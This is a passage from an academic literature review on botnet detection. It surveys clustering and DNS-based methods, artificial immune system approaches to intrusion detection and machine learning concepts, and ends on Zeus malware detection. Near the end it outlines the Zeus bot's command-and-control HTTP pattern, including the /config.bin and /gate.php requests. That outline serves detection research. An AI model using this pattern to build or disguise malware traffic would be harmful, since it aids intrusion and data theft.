whether just benign data was labeled for training or whether malicious data was also.  

The SCADE component, their Statistical Scan Anomaly Detection Engine, performed 

weighted scoring with a given threshold, followed by a voting scheme.  The SLADE 

component, their Statistical Payload Anomaly Detection Engine, tested the 

(Mahalanobis) distance between the byte distribution of a new observation (packet) and a 

previously determined normal distribution for that particular protocol (e.g. HTTP), based 

on the work of Wang and Stolfo (2004).  Features were chosen heuristically based on 

domain knowledge. 

     As botnet command and control evolved away from IRC toward HTTP and P2P 

protocols, the corresponding research efforts shifted to more general models of bot 

behavior.  Gu, Perdisci, Zhang, and Lee (2008) used clustering techniques to find and 

cross-correlate command and control communications and malicious activity.  Their 

method used network flows captured using the fcapture tool and removed all but TCP 

and UDP flows. C&C communications were clustered in one “plane” and malicious 

activity in another, then the two were cross-correlated using a hierarchical clustering 

algorithm.  Their technique assumed that bots will communicate with C&C servers or 

peers, perform malicious activity, and that they will do both in a similar fashion to one 

another.  The team reported a high detection rate and low false positive rate against real-
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world traces of IRC, HTTP, and P2P-based botnet traffic.  Detection rates in the literature 

are often given in these subjective terms; however, a high detection rate typically refers 

to a true positive rate in excess of 90% and a low false alarm or false positive rate refers 

to one less than 10%.  From a machine learning perspective, this team employed an 

unsupervised learning approach in their clustering algorithms.  The input to the clustering 

algorithm for communication flows was a vector which included heuristically constructed 

features: flows per hour, packets per flow, average bytes per packet, and average bytes 

per second.  They converted these continuous variables into discrete values for clustering 

in two stages with an x-means clustering algorithm.  They performed dimensionality 

reduction for the first phase of clustering by computing the mean and variance of these 

four features, thus using eight values as opposed to the full set from the 52 available 

features.  For the second phase, they used the full feature set but only clustered within 

those clusters produced by the first phase.  The input to their clustering algorithm for 

activity came from Snort® logs as categorical data.  They used a two-level hierarchical 

clustering algorithm for this data and then cross correlated the results of the two 

clustering methods.   

     Yen and Reiter (2008) applied Principal Component Analysis (PCA) for 

dimensionality reduction and k-means for clustering of network flows exhibiting 

common communication characteristics. Their technique used flow records generated 

with the open source ARGUS software.  Their approach assumed that communications 

from multiple infected hosts in relatively close temporal proximity should be observable 

and should have the common characteristics of destination, payload, and host platform.  

They tested with real data collected at a university edge router and reported that the 
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combination of techniques proved very powerful.  Their clustering techniques employed 

unsupervised learning using constructed features formed by aggregating observed 

features.  The k-means clustering algorithm they described was similar to the x-means 

method described previously by Gu, Perdisci, Zhang, and Lee (2008) in that the number 

of clusters was learned rather than pre-specified.  Feature construction for payload data 

was based on a similarity metric called string edit distance, basically an enumeration of 

changes required to convert one string into another.  Feature construction for platform 

data was heuristically derived from initial TTL values and other operating system specific 

communications (e.g. connecting to the Microsoft® time server). 

     Villamarín-Salomón and Brustoloni (2009) looked for patterns in DNS traffic using a 

Bayesian network detection approach.  They were addressing the countermeasure by bot 

malware producers to obfuscate their command and control communications by using 

peer-to-peer or fast-flux techniques in response to earlier IRC detection methods.   This 

research team found that using DNS queries to known, blacklisted command and control 

servers as the basis for their prior probabilities produced a good detection rate.  The 

inspiration for techniques that detect Bot reconnaissance of DNS blacklists was credited 

to Ramachandran, Feamster, and Dagon (2006).  From a machine learning perspective 

they employed a supervised learning approach with a multi-class classifier.  They training 

the classifier with labeled DNS data for both the benign and infected classes.  They 

heuristically chose all features based on domain knowledge. 

     Choi, Lee, and Kim (2009) also focused on similarities among DNS queries with a 

method that classified them into groups and evaluated their similarity, periodicity, and 

intensity over time.  They evaluated their method with network trace data including real-



28 

 

world bot traces.  From a machine learning perspective this research team’s approach 

resembled a multi-class classifier with a threshold between the benign and infected 

classes though training details are not provided.  Feature construction included well-

described similarity and distance metrics, however.  Group uniformity was an average of 

three similarity coefficients per time unit: Kulczynski, Cosine, and Jaccard.   Periodicity 

was measured by Euclidean distance.   

 

Artificial Immune System Concepts 

     Quite simply, an artificial immune system or AIS, is computer software that attempts 

to apply principles from biological immune systems to a protection or detection problem 

(Floreano & Mattiussi, 2008).  Artificial immune systems typically model both innate and 

adaptive components of natural immune systems, where the innate component knows 

about existing threats and the adaptive component learns about new threats.  Threats are 

the equivalent of foreign antigens.  Antigens in nature are comprised of multiple epitopes, 

where these epitopes are patterns recognizable by the immune system.  The innate 

immune system recognizes foreign antigens by their epitopes called pathogen-associated 

molecular patterns or PAMPs (Beers, et al., 2003).  An AIS will generally implement the 

concept of detectors and effectors in the form of centralized or distributed processes.  

Detectors find the threats and effectors act on them, functions that may be implemented 

within a single component.  Actions range from alerting on threats to actually eliminating 

them.  These detector-effectors are the equivalent of antibodies.   

     One of the challenges in designing the adaptive component of an AIS is determining 

how to dynamically generate and manage the detectors and effectors.  One approach is to 
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mimic the negative selection process of the natural immune system.  First, randomly or 

pseudo-randomly generate a diverse set of antibodies, then remove those that are auto-

reactive and those that are not relevant.  Include a mutation process that favors the better 

performing ones remaining (somatic hypermutation).  Since antibodies that react to the 

host (auto-reactive) are eliminated, this a negative selection process.   

     Another challenge is how to direct the adaptive component to the novel threats. 

Danger Theory (Matzinger, 1994) suggests that since the adaptive immune system has no 

recognizable patterns for new types of antigens, it must receive signals from other 

processes to guide it.  These so-called danger signals could come from the innate immune 

system or directly from dying host cells.  During unexpected cell death (necrosis), 

internal structures are exposed, thus forming these danger signals.  During natural cell 

death (apoptosis), these internal structure are modified to prevent the emission of danger 

signals.  Danger signals thus direct the adaptive immune response to the precise location 

of the damage.  Unknown patterns in that area are essentially considered guilty by 

association. 

     Learning from adaptive immune responses is another concept that artificial immune 

systems would like emulate.  After the adaptive immune system has responded to an 

attack by generating new, tailored antibodies through a selection and mutation process, it 

then retains knowledge of the most effective antibodies in an immune memory.  This 

memory facilitates a much quicker response to this type of attack in the future.   
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AIS Applied to Information Security 

     While not initially directed at bot malware in particular, a parallel line of research into 

artificial immune systems for information security eventually led to that point.  Dasgupta 

(1999) credits the seminal work toward developing an artificial immune system for a 

computer to Forrest, Perelson, Allen, and Cherukuri (1994).  This research team modeled 

and applied the negative selection process that the vertebrate immune system uses to 

minimize auto-reactivity to the challenge of detecting computer viruses.  The goal of this 

negative selection process was to retain as detectors only those agents that did not match 

host (self) structures.  In the biological immune system this equates to retaining as 

pathogen detectors only those cells that recognize foreign molecular structures and ignore 

host molecular structures.  This team’s approach generated a set of string matching 

detectors that would match foreign strings but not strings in the protected data.  Central to 

their approach was the “contiguous matches” notion for sequences of symbols from a 

given alphabet.  This approach is often referred to as “r contiguous bits” when the 

alphabet consists of only the binary digits [0,1].  Their key insight was a method for 

determining the number of initial strings that would be necessary before censoring 

(negative selection) in order to detect a random change within a computer file.  Because 

their matching approach was probabilistic, they determined that the initial detector 

population could be computed as a function of the number of equal-length strings to be 

protected, the probability of detection, and the matching rule.  They further determined 

that the probability of detection could be computed as a function of the number of 

possible symbols (alphabet), the number of symbols in the string, and the number of 

contiguous matches required.  Forrest et al. (1994) demonstrated that a relatively small 
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collection of detectors could identify random changes to the protected data with a high 

probability.  They reported that the one major limitation of this approach was the 

computational complexity of randomly generating the detectors, a process which grew 

exponentially with the size of the data to be protected. 

     From a machine learning perspective, this negative selection or negative detection 

approach does not seem intuitive.  In fact, it appears to be just the opposite of the one-

class classifier approach where a model of self (a class) forms the basis of the pattern 

match.  The negative selection approach does include the equivalent of classifier training, 

however, in that the detectors that matched self sequences were eliminated in a censoring 

process. 

     D’haeseleer, Forrest, and Helman (1996) extended the work of Forrest, Perelson, 

Allen, and Cherukuri (1994) by focusing on techniques for more efficiently generating 

detectors.  Here they proposed an algorithm that performed r contiguous bits matching in 

two phases, the first using a template matching scheme to count recurrence and the 

second to generate unmatched strings.  This method ran in linear time as opposed to 

exponential time, addressing that limitation of the earlier exhaustive approach.  While 

this method was able to generate a complete set of detectors more efficiently than the 

previous method, neither method was able to avoid holes.  Holes describe those areas of 

the non-self, represented as strings in this case, which overlap with the self based on the 

use of fixed distance matching rules such as this r contiguous bits approach or a 

Hamming distance approach.  Hamming distance measures the number of positions 

where the symbols in two strings are different.  This team suggested that use of a 

Hamming distance matching rule be an area of future research as it might prove more 
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effective with larger data structures.  They also pointed out the need for additional 

research comparing this negative detection approach with the more traditional positive 

detection approaches from the machine learning literature.   

     Dasgupta and Forrest (1995, 1996, 1999) and Forrest, Hofmeyr, and Somayaji (1997) 

extended the negative selection for anomaly detection approach to address dynamic data 

patterns in addition to static ones.  In particular, the self to be protected was a collection 

of computer processes as opposed to data files.  Again an r contiguous position matching 

method was used.  However, more efficient pseudo-random algorithms were used to 

generate the initial population of detectors.  Dealing with dynamic processes introduced 

new challenges, namely, determining how much time series data would be needed to 

represent normal self behavior and determining how to encode the time series data.  The 

process of selecting “suitable” values was heuristic.  Dasgupta and Forrest (1995, 1996) 

chose non-overlapping time windows and tested their method with simulated data for 

both a milling tool breakage detection scenario and a signal processing noise detection 

scenario. Note that while the data were simulated as time series, both were otherwise 

steady-state systems, meaning that the parameters of interest remained within prescribed 

tolerances.  They reported detection results comparable with positive detection methods, 

namely, neural networks.   

     Like a typical back propagation neural network, their method was trained on a large 

set of data labeled as normal.  Unlike a neural net, their method retained only detectors 

that did not match the normal time series data.  Based on promising results, they offered 

suggestions for improving feature selection, window size determination, and time series 

data encoding.  They also suggested trying a monitoring approach that used multiple time 
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scales simultaneously.  This research team also acknowledged that negative detection 

approaches need to be compared with positive approaches, and suggested Adaptive 

Resonance Theory (ART) neural networks as an appropriate candidate for the positive 

detection approach.  They postulated that their negative detection approach, when 

implemented in a distributed fashion with local decisions, would outperform a positive 

detection approach that make a global decision across the entire normal (self) model.  

They also concluded that their approach could made adaptable to changes in the normal 

environment by generating a new detector set under the appropriate conditions.   

     Kephart, Sorkin, Arnold, Chess, Tesauro, and White (1995) came up with a different 

approach to the detector generation problem.  Instead of randomly generating detectors 

that may be relevant in the future, they generated detectors based on properties of known 

viruses.  Their approach included negative selection to prevent the detectors from 

recognizing self sequences, where the n-grams chosen to model self sequences were 

trigrams.  The researchers suggested that implementing immune memory could be trivial.  

Once a virus pattern was learned, its signature could simply be added to the known-virus 

database for conventional, signature-based detection efforts.  This assumed that both 

were being employed to protect the system in a layered approach.  Issues associated with 

managing the growth of a virus signature database were not addressed.  In addition to this 

approach for emulating the adaptive human immune system, this team also presented an 

approach for virus detection that modeled the innate immune system.  Their innate AIS 

component was a generic classifier using an artificial neural network for multi-class 

classification.  It was trained with data that included both the benign and infected classes.  

The adaptive component included the notion of decoys.  Decoys were programs designed 
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to attract potential new viruses in order to examine them more closely and verify whether 

they were in fact malicious.  

     Forrest, Hofmeyr, Somayaji, and Longstaff (1996) and Forrest, Hofmeyr, and 

Somayaji (1997) extended Forrest’s negative selection line of investigation toward the 

protection of a Unix operating system, where they defined self behavior in terms of Unix 

system calls.  In particular, they postulated that only short sequences of system calls 

would be necessary to model normalcy.  These normal sequences could then be compared 

over a sliding time window with new sequences to look for mismatches.  Their 

experiments with sendmail and lpr showed positive results.  Moreover, they revealed 

empirically the significant challenge of selecting the features necessary to model 

normalcy in a complex, dynamic system.   

     Kosoresow and Hofmeyr (1997) extended this line of research by seeking more 

compact representations of the system call parameters.  They proposed a method that 

substituted “macros” for fixed numeric sequences in the system call traces.  While they 

achieved a significant reduction in the amount of space needed to represent the data, their 

procedure required a human to manually create the substitution code for each set of 

system calls.  As such, they only tested their approach on the two system calls, sendmail 

and lpr, of the previous work and recommended investigating automated methods as 

future work. 

     Warrender, Forrest, and Pearlmutter (1999) also focused on how to effectively model 

patterns of system calls.  They investigated and compared four modeling approaches: 

enumeration of observed sequences, relative frequencies of sequences, rule induction 

(RIPPER), and Hidden Markov Model (HMM).  RIPPER is an acronym for Repeated 
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Incremental Pruning to Produce Error Reduction (Cohen, 1995).  They determined that 

no single method performed best on all traces.  The HMM performed best overall but at a 

training cost much higher than the other three methods.  Based on their experiments, this 

research team concluded that the data stream - the features selected from the system calls 

- was more important than the analysis method. 

     Hofmeyr and Forrest (2000) continued this system call, host-based intrusion detection 

line of research toward the development of a network intrusion detection system.  In this 

work the research team introduced the acronym ARTIS to denote Artificial Immune 

Systems in general, independent of application, and the acronym LISYS (Lightweight 

Intrusion Detection System) to represent their experimental system in particular.  They 

recommended that artificial immune systems employ a negative selection process that is 

both distributed and asynchronous, and that they include a memory function for retaining 

information about non-self structures in order to expedite future detection.  For their 

experimental system, LISYS, they chose to use network traffic to represent the self.  In 

particular, they represented each TCP network connection as a 49-bit string.  These 

strings encoded the source IP address, the destination IP address, and the TCP service.  

Their challenge then was to model self as the “normally occurring” connections over time 

and use that model to detect unusual connections which might indicate intrusions.  Each 

of the 50 hosts on their local area network served as a detection node.  The research team 

logged 2.3 million connections as their initial, unfiltered dataset.  They reduced that 

number to 1.5 million connections by filtering out external web and FTP servers which 

they considered noise “because these are continually communicating with new hosts and 

so have no stable definition of normal in terms of datapaths.”  They merged in nonself 
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trace data from logs of seven actual intrusion incidents: one address probing, one large 

scale port scanning, three limited port scanning, and two single port scanning examples.   

Results were reported based on an average from multiple off-line, faster-than-real-time 

simulations.  The system was presented with 30 days of normal traffic before each of the 

intrusion incidents was introduced one after another, each separated by one day of normal 

traffic.  The research team reported that LISYS corrected detected all intrusion incidents 

(true positives) with a very low false positive rate averaging 1.7 per day.  They pointed 

out that the tolerization period variable had a considerable effect on the number of false 

positives.  Specifically, a reduction in the tolerization period from 4 days to 0.5 days 

produced an increase in false positives from 1.7 to 15.  This suggests that methods for 

optimizing this parameter, effectively the time window for training, would be helpful.  It 

would seem that among the nine paraemters that were identified, the tolerization period 

most affected the sensitivity-specificity trade-off of the LISYS system. 

     Research into the negative selection property of immune systems continued through 

the 2000s by these researchers and others.  Anchor, Zydallis, Gunsch, and Lamont (2002) 

proposed a negative selection based approach to creating detectors which could identify 

modified or stealthy versions of existing network intrusion techniques. Attacks were 

modeled as finite state machines and a fitness function was employed that considered the 

percentage match to the modeled attack string.  They reported inconclusive results and 

the need to use real network data traces in future tests.  Dasgupta, Krishnakumar, Wong, 

and Berry (2004) developed and tested an immunity based approach to aircraft fault 

detection.  They employed a negative selection approach to generate detectors, in this 

case using a real-valued matching algorithm as opposed to a binary one.  Candidate 
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detectors were generated randomly and then iteratively matured to fill the nonself space.  

Each detector had a center and radius.  Detector position and size were iteratively 

adjusted in an attempt to minimize overlap with self and maximize coverage of the 

nonself space.  This process included cloning of the better-fitting detectors and randomly 

generating new ones.  Ultimately a mature detector set was produced and then employed 

against new samples.  The samples were normalized real-valued data represented as 

strings.  This research team found that increasing the number of detectors effectively 

reduced the false positive rate without increasing false negatives.  Stibor, Timmis, and 

Eckert (2005) compared a real-valued negative selection algorithm to statistical anomaly 

detection.  The Association for Computing Machinery (ACM) Knowledge Discovery and 

Data Mining (KDD) competition web site provided the high-dimensional data and results 

from other approaches.  The authors reported inconclusive results. However, their 

experiments revealed a sensitivity to the estimated detector coverage.  Zhang, Zhai, Du, 

and Liu (2007) presented a method based primarily on negative selection.  They also 

included a vaccine operator, where vaccination meant adding detectors to a library.  This 

vaccine approach is essentially a signature-based method in which new measurements are 

compared to a library of known signatures.  They did this a priori and during runtime.  

The runtime method was not well-described other than the fact that it used a binary r-

contiguous matching rule. The authors reported good results testing their approach on 

both a virus detection case and an intrusion detection case.  Dal, Abraham, Abraham, 

Sanyal, and Sanglikar (2008) also experimented with negative selection and developed a 

hybrid AIS approach for intrusion detection that employed a genetic algorithm for 

creating new memory cells.  Detectors begin as randomly generated binary strings, then 
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are trained with a negative selection based on r-contiguous bit pattern matching.  The 

number of matches (fitness) determines the affinity.  They determined the detection 

threshold to be when three or more detectors matched 13 or more contiguous locations.  

Those detectors were then cloned and added to a pool of “winner detectors” to be 

maintained and evolved into memory cells.  Using this approach, the researchers found 

that the fitness function, number of contiguous matching bits of the strings, performed 

best between two thresholds. If the threshold was less than 12, then even the self data 

matched the detectors.  If the threshold was greater than 14, then the nonself data failed to 

match.  Thus they used a single value, 13, for detection.  They also found holes - cases 

during training when three detectors failed to detect the nonself anomaly.  To work 

around this problem they randomly generated additional detectors until at least three 

matched.  Zhengbing, Ji, and Ping (2008) developed and tested a negative selection 

approach with variable sized detectors and real-value matching.  They attempted to vary 

the size of the detectors to provide better coverage with fewer detectors.  Like earlier 

methods, they randomly generated a set of detectors and evolved them using an distance 

matching algorithm.  In this case, however, they used the Euclidean distance to adjust the 

detector radius in order to fill gaps in coverage with the largest possible detectors.  They 

reported a high true positive rate with corresponding low false positive rate using this 

method against simulated two-dimensional data.   

    The network property of biological immune systems also served as the basis for 

research into applying artificial immune systems to information security.  The immune 

network model proposed by Jerne (1974) is credited as the foundation of this line of 

research (Kim, et al., 2007).  Jerne suggested that the host’s adaptive immune detectors 
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communicate with one another to form a network.  When the equilibrium of this network 

of detectors is upset by invading pathogens, the immune response is activated.  While not 

as popular as negative selection, the decentralized and distributed detection properties of 

immune networks also proved attractive to information security researchers.  Timmis 

(2000) addressed a fundamental challenge of implementing an artificial network immune 

system, ensuring coverage while controlling detector population, with the artificial 

recognition ball (ARB) approach.  Artificial recognition balls serve as an aggregate, 

multi-dimensional representation of data, as opposed to the contiguous bits approach.  

Timmis and Neal (2001) used the affinity between ARBs to establish network 

equilibrium where affinity was calculated with a Euclidean distance function.  They 

controlled the detector population by limiting the network to a fixed set of ARBs.  The 

process of using affinity to create (clone) additional detectors was also addressed by de 

Castro and Von Zuben (2000).  These researchers implemented a competitive, 

unsupervised learning algorithm to construct the immune network.  This method, called 

aiNet by its authors, was inspired by clonal selection theory, itself a basis for network 

immune theory.  For aiNet the authors combined hierarchical clustering with graph 

theoretical techniques. More specifically, their hierarchical clustering method was based 

on a nearest neighbor calculation (de Castro & Von Zuben, 2001).  Clonal selection is 

similar to evolutionary algorithms based on mutation, in this case where the most 

appropriate detectors for a given pathogen are reproduced on demand.  de Castro and 

Von Zuben (2002) and de Castro and Timmis (2002) extended this approach by seeking 

methods to optimize the clonal selection process.  Their Clonal Selection Algorithm 

(CLONALG) produced candidate detectors based on affinity to the antigen pattern.  Each 
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generation, or iteration, the candidates would compete with existing detectors for 

membership.   They found the choice of threshold for node deletion to be a significant 

challenge.  If the threshold was too low, the population would grow to an unmanageable 

level.  If the threshold was too high, valid detectors would be lost.  The CLONALG 

approach featured management of multiple local optima and a stopping criterion. Timmis 

(2007) suggests that clonal selection is the only principal unifying the immune network 

algorithms to date and that complexity and computational intensity have limited their 

application.   

     Other researchers considered methods to incorporate the Danger Theory proposed by 

Matzinger (1994).  Danger Theory suggests that the unnatural death of a cell (necrosis) 

results in the emission of danger signals which alert and focus the immune response.  The 

origin of the emission is known and used to concentrate the response.  Aickelin and 

Cayzer (2002) and Aickelin, Bentley, Cayzer, Kim, and McLeod (2003) proposed a 

Danger Theory model for intrusion detection and suggested features to serve as danger 

signals.  Their approach was to map such features, e.g. unusual process termination, 

unauthorized file access, or unusual network connections, to one of two categories 

equating to normal (apoptotic) or abnormal (necrotic) cell death in a biological immune 

system.  One of their goals was to address the IDS alert correlation problem using danger 

signals that communicated the location of the attack.  Greensmith, Aickelin, and Cayzer 

(2005) considered the Danger Theory and modeled the behavior of immune system 

dendritic cells for anomaly detection.  Dendritic cells are a class of antigen presenting 

cells in the biological immune system which are believed to be responsive to danger 

signals and to influence the differentiation of T cells (Steinman, 2004).  This research 
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team proposed four categories of signals for input to these dendritic cells: safe signals, 

danger signals, PAMP signals (known bad), and amplifying signals.  Greensmith and 

Aickelin (2007) implemented a dendritic cell based algorithm for detecting port scans.  

They found the approach to be promising, it succeeded in detecting SYN scans over a 

long duration but had difficulty when other ad hoc processes were running concurrently.  

This Dendritic Cell Algorithm (DCA) was further extended by Greensmith, Aickelin, and 

Tedesco (2010) and applied to the detection of outgoing port scans, a common feature of 

bot malware.  This anomaly detection approach again relied on pathogen associated 

molecular patterns (PAMP) from the innate immune system construct and leveraged 

danger signals from the adaptive immune system construct.  The authors found feature 

selection and mapping to be very important, particularly for the safe signals.  Safe 

signals, according to these researchers, have a greater influence on the detectors than do 

the danger signals.  Fanelli (2008) proposed a hybrid approach to network intrusion 

detection that combined conventional methods with artificial immune system methods 

based on the Danger Model.  In this approach, danger signals influenced the maturation 

of dendritic cells in an innate layer after filtering by a traditional misuse-based network 

intrusion detection system.  Mature cells migrate to an adaptive layer to support a self-

nonself discrimination process.  Fanelli’s danger signals consisted of three elements: a 

feature value to classify the danger, a signal value to specify the degree of danger, and a 

source identifier to track the source of the danger.  The author reported that this hybrid 

approach achieved a superior “positive predictive value (PPV)” than a misuse-based 

NIDS alone, where the true positive detection rates were equivalent and the new 

approach’s false positive rate was much lower.  Fanelli used the IDEVAL 99 benchmark 
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dataset1 and reported a total of 30 false positives with this approach compared to 98 false 

positives reported as the baseline performance of Snort®, a misuse-based network 

intrusion detection system (NIDS).    

     The research most relevant to this work would be the early efforts by Hofmeyr and 

Forrest (2000) to develop an artificial immune system for network intrusion detection and 

the more recent efforts by Cui, Katz, and Tan (2005) and Shin, Xu, and Gu (2012) 

investigating host-based detection of malware that considers outbound network 

connections in addition to inbound connections.  Cui, Katz, and Tan pointed out that most 

network activities on a personal computer are initiated either directly or indirectly by a 

user.  They developed a technique that would look for network connections not correlated 

to user interaction.  Shin, Xu, and Gu also attempt what they term “human-process-

network correlation” to identify suspicious processes in their approach that combines 

host-based and network-based intrusion detection methods. 

     Also relevant is the recent work by Al-Hammadi, Aickelin, and Greensmith (2008, 

2010) to apply the Dendritic Cell Algorithm (DCA) to bot detection.  While Zeidanloo, 

Hosseinpur, and Boraziani (2010) only suggested using an artificial immune system with 

network flows to detect P2P bots based on common activity patterns, Al-Hammadi, 

Aickelin, and Greensmith actually implemented and tested their approach.  They 

monitored key-logging activity, outgoing network activity, specifically SYN and UDP 

flooding, anomalous file accesses, and potential bot-related command and control 

communications.  They collected these data with a function call interception program and 

analyzed them with a modified DCA.  This algorithm considered PAMP, danger, and safe 
                                                 
1 IDEVAL 99 is an Intrusion Detection Evaluation dataset created in 1999 by the Defense Advanced 
Research Projects Agency (DARPA) and made available for research. 
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signals.  The team used an IRC application across virtual Win32 hosts along with both 

SpyBot and SdBot botnet executables to generate network trace data containing botnet 

activity.  They reported that their DCA could discriminate between bot and normal 

activity.  They found that the signals weights had a significant effect on the results.  More 

specifically, safe signals needed to be weighted more heavily than danger signals in order 

to minimize false positives without generating false negatives.  Al-Hammadi, Aickelin, 

and Greensmith (2010) extended this DCA and compared its bot detection performance 

with an anomaly detection approach based on Spearman’s Rank Correlation (SRC).  

Modifications included the following temporal considerations: time delta between 

consecutive outgoing communications, time delta between receiving and sending related 

network data, and the change rate of select keyboard calls.  They reported their DCA to 

be more effective at detecting SpyBot and SdBot activity than Spearman’s Rank 

Correlation, based on a lower false alarm rate.    

 

Machine Learning 

     The field of machine learning, also known as computational learning, is generally 

divided into classification applications and regression applications (Bishop, 2006; Duda, 

Hart, & Stork, 2001).  These applications are further partitioned into supervised, 

unsupervised, and reinforcement learning methods where the learning process minimizes 

some cost function or maximizes some objective function (Guyon, 2007; Murray, 2010).  

Domingos (2012) describes machine learning as a function of representation, evaluation, 

and optimization where classifiers are represented in the hypothesis space of the problem 

domain, an objective or scoring function evaluates the classifiers, and an optimization 
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process selects the best one.  Of paramount importance is the learned classifier’s ability 

to generalize beyond the data used to create it in order to accurately classify new 

examples. 

     Mitchell (1997) offers perhaps a more general definition for machine learning: 

 “A computer program is said to learn from experience E with respect to some 

 class of tasks T and performance measure P, if its performance at tasks in T, as 

 measured by P, improves with experience E.” 

As such, Mitchell suggests that each of these three elements, task, performance, and 

experience must be defined for any machine learning problem. 

     The following machine learning conventions are commonly used in the literature (see 

Figure 2-1).  Data is represented as a matrix X or xij where each row xi is a vector 

representing one observation and each column represents a feature.  Observations are also 

commonly referred to as examples, data points, or patterns in the literature.  Features are 

also commonly referred to as input variables or attributes. y or yj is a column vector 

representing the class labels for the data matrix X.  y is the quantity to be determined 

through classification or regression.  The quantities alpha and w represent weighting of 

the matrix rows and columns, respectively.  Weighting is often used by machine learning 

methods to determine an appropriate decision function (Guyon, 2007; Murray, 2010). 

The simplest linear approach, based on the artificial neuron (McCulloch and Pitts, 1943), 

is to evaluate the dot product of the input feature vector and corresponding vector of 

coefficients that represent the "voting power" of each feature (Guyon, 2007).  When the 

weighted features are not linearly separable, transformation functions are used to create a 

linear combination, as originally described by Rosenblatt (1957) for the perceptron.  In 
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some cases, such as with kernel methods, basis functions are used to make data linearly 

separable.  A basis function replaces feature values with measures of similarity.  

 
Figure 2-1. Machine Learning Conventions (Guyon, 2007) 

 
 

    Machine learning classification methods are further categorized as multi-class or one-

class.  Determining which of n classes a new observation belongs to is the realm of multi-

class techniques.  Determining whether a new observation belongs to the known class or 

not is the realm of one-class classifiers.  The latter is also the focus of novelty detection 

and anomaly detection research. 

     Supervised learning techniques require training data containing class labels (y). In 

cases where data is plentiful, the datasets for validation and testing are kept separate from 

training datasets (Domingos, 2012; Guyon, 2007; Murray, 2010).  This approach 

mitigates the risk of overfitting, which can occur when the classifier is validated 

exclusively with data from the training set.  When large amounts of data are not readily 

available, techniques for validation with a subset of the training data must be used.  

Cross-validation is one of the more common techniques, where a different portion of the 



46 

 

data is iteratively withheld from training and used for testing, producing an average 

across the iterations (Domingos, 2012; Guyon, 2007).   

     When class labels are not available in the data, unsupervised learning techniques can 

be employed.  The most common type of unsupervised learning is clustering (Bishop, 

2006; Duda, Hart, & Stork, 2001).  Clustering methods attempt to allocate data into 

groups and determine the number of groups.  For example k-means clustering (Coates, 

Lee, & Ng, 2011), one of the most popular techniques, attempts to minimize the sum of 

the Euclidean squared distances between points and their associated cluster centers.  

Dimensionality reduction is often employed to reduce the number of variables or features 

necessary for clustering.  Principle Component Analysis (PCA) is one technique for 

dimensionality reduction.  PCA transforms an input vector into an uncorrelated set of 

features ordered by variance, with the first features then conveying the most information 

(Jolliffe, 2002).  While clustering methods are more common in the unsupervised 

learning literature, autoencoders (Bengio, 2009; Le, Ranzato, Monga, Devin, Chen, 

Corrado, Dean, & Ng, 2012) and Restricted Boltzmann Machines (Bengio, 2009; Hinton, 

Osindero, & Teh, 2006) have also proven successful at unsupervised feature learning.  

     Feature selection forms a key aspect of machine learning.  Guyon (2007) and Guyon 

and Elisseeff (2003) suggest that the main goal of feature selection is to rank subsets of 

useful features.  They categorize feature selection methods as either univariate, those that 

consider one feature at a time, or multivariate, those that consider subsets of features 

together.  Feature selection methods can also be categorized as to whether they function 

within the classifier or independently of the classifier.  The former are called wrapper or 

embedded methods and the latter are called filter methods.  These authors describe 
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methods for determining whether features that appear redundant can actually support 

each other, and for determining whether features that contribute little by themselves can 

become more useful with others.  Guyon (2007) also points out that the area under the 

ROC curve can be used to estimate feature relevance because each feature is like a mini-

classifier.  When approaching the feature selection process for a new problem, Guyon 

recommends trying univariate ranking with a linear classifier first.  Proceed to more 

complex multivariate methods only when the univariate methods don’t provide 

satisfactory results.  The results of the NIPS 2003 Feature Selection Challenge revealed 

that using multivariate methods was often unnecessary (Guyon, 2007).   

    Anomaly detection, as previously noted, is concerned with determining whether a new 

observation belongs to a known class or not.  In other words, anomaly detection describes 

the process of detecting patterns in the data that are different than the normal patterns.  

One of the key aspects of anomaly detection is the notion of interestingness, or how 

interesting the anomaly is to some observer.  What typically makes an anomaly 

interesting is whether some action or decision will be made on its basis.   Anomaly 

detection should be distinguished from novelty detection, although the two terms are 

often used interchangeably.  In novelty detection, the resulting novel pattern is often 

merged into the model of normalcy, allowing the model to adapt to change.  This leads to 

one of the more difficult challenges faced by anomaly detection researchers, the fact that 

what defines normal can change and evolve over time.  A model of normalcy at one point 

in time will not necessarily reflect normalcy at a future time for the same problem 

domain.   



48 

 

     Anomaly detection is closely related to machine learning.  In fact, anomaly detection 

is often considered a subset of machine learning.  Supervised, unsupervised, and semi-

supervised anomaly detection techniques have been described in the literature.  One of 

the properties that distinguishs anomaly detection from some of the more common 

machine learning techniques is the lack of training data for all but the normal class.  In 

this respect, anomaly detection is equivalent to one-class classification.  Furthermore, this 

property limits the number of supervised methods that can be effectively employed for 

anomaly detection.  In a survey of anomaly detection techniques by Chandola (2009), the 

researchers found that semi-supervised and unsupervised techniques were most common.  

In a semi-supervised approach, a model of normal behavior is created and used to isolate 

anomalies in the test data, and then a human expert verifies or labels the anomaly. 

     Chandola (2009) first divides anomalies into two broad classes, simple and complex, 

then further subdivides complex anomalies into contextual anomalies and collective 

anomalies.  Simple anomalies are also called point anomalies as they often manifest 

themselves as an outlier point in low dimensional space.  A contextual anomaly, as the 

name implies, requires some form of context such as a sequence.  In this case the position  

in the sequence could represent an anomaly.  Techniques for detecting contextual 

anomalies have also been extended to events, where each event has an associated time of 

occurrence.  Collective anomalies are described as requiring combinations of 

observations where the individual observations alone are not anomalous.  Chandola 

(2009) determined that there were two primary approaches to contextual anomaly 

detection.  The first is to reduce the problem so that it can be solved as a point anomaly 
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detection problem.  The second is to model the context and use that model for detection 

as you would a one-class classifier. 

 

Detection of Zeus Malware 

     In addition to the research previously discussed for bot malware detection, research on 

methods that focused on detection of the Zeus bot malware has also been conducted.  The 

work by Binsalleeh, Ormerod, Boukhtouta, Sinha, Youssef, Debbabi, and Wang (2010) 

analyzed Zeus network traffic patterns by utilizing the Zeus crimeware toolkit to create a 

functioning instance of the malware within a controlled network.  They captured the 

resulting network traffic and analyzed the contents of the packets that comprised the 

HTTP communications between the Zeus bot malware and the command and control 

server.  The goal of their research was to learn and model this communications pattern for 

subsequent use in detection techniques.  They reported the following as the HTTP 

communications pattern for Zeus:  

1. the infected host sends an HTTP GET method requesting the file 

/config.bin; 

2. the C&C server responds by providing that encrypted file; 

3. the infected host decrypts and installs the file; 

4. the infected host may make a request to a predetermined server in order to 

determine its own Internet facing IP address; and 

5. the infected host sends HTTP POST methods with the resource /gate.php 

which include status reports or stolen data. 
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Binsalleeh, Ormerod, Boukhtouta, Sinha, Youssef, Debbabi, and Wang also reported that 

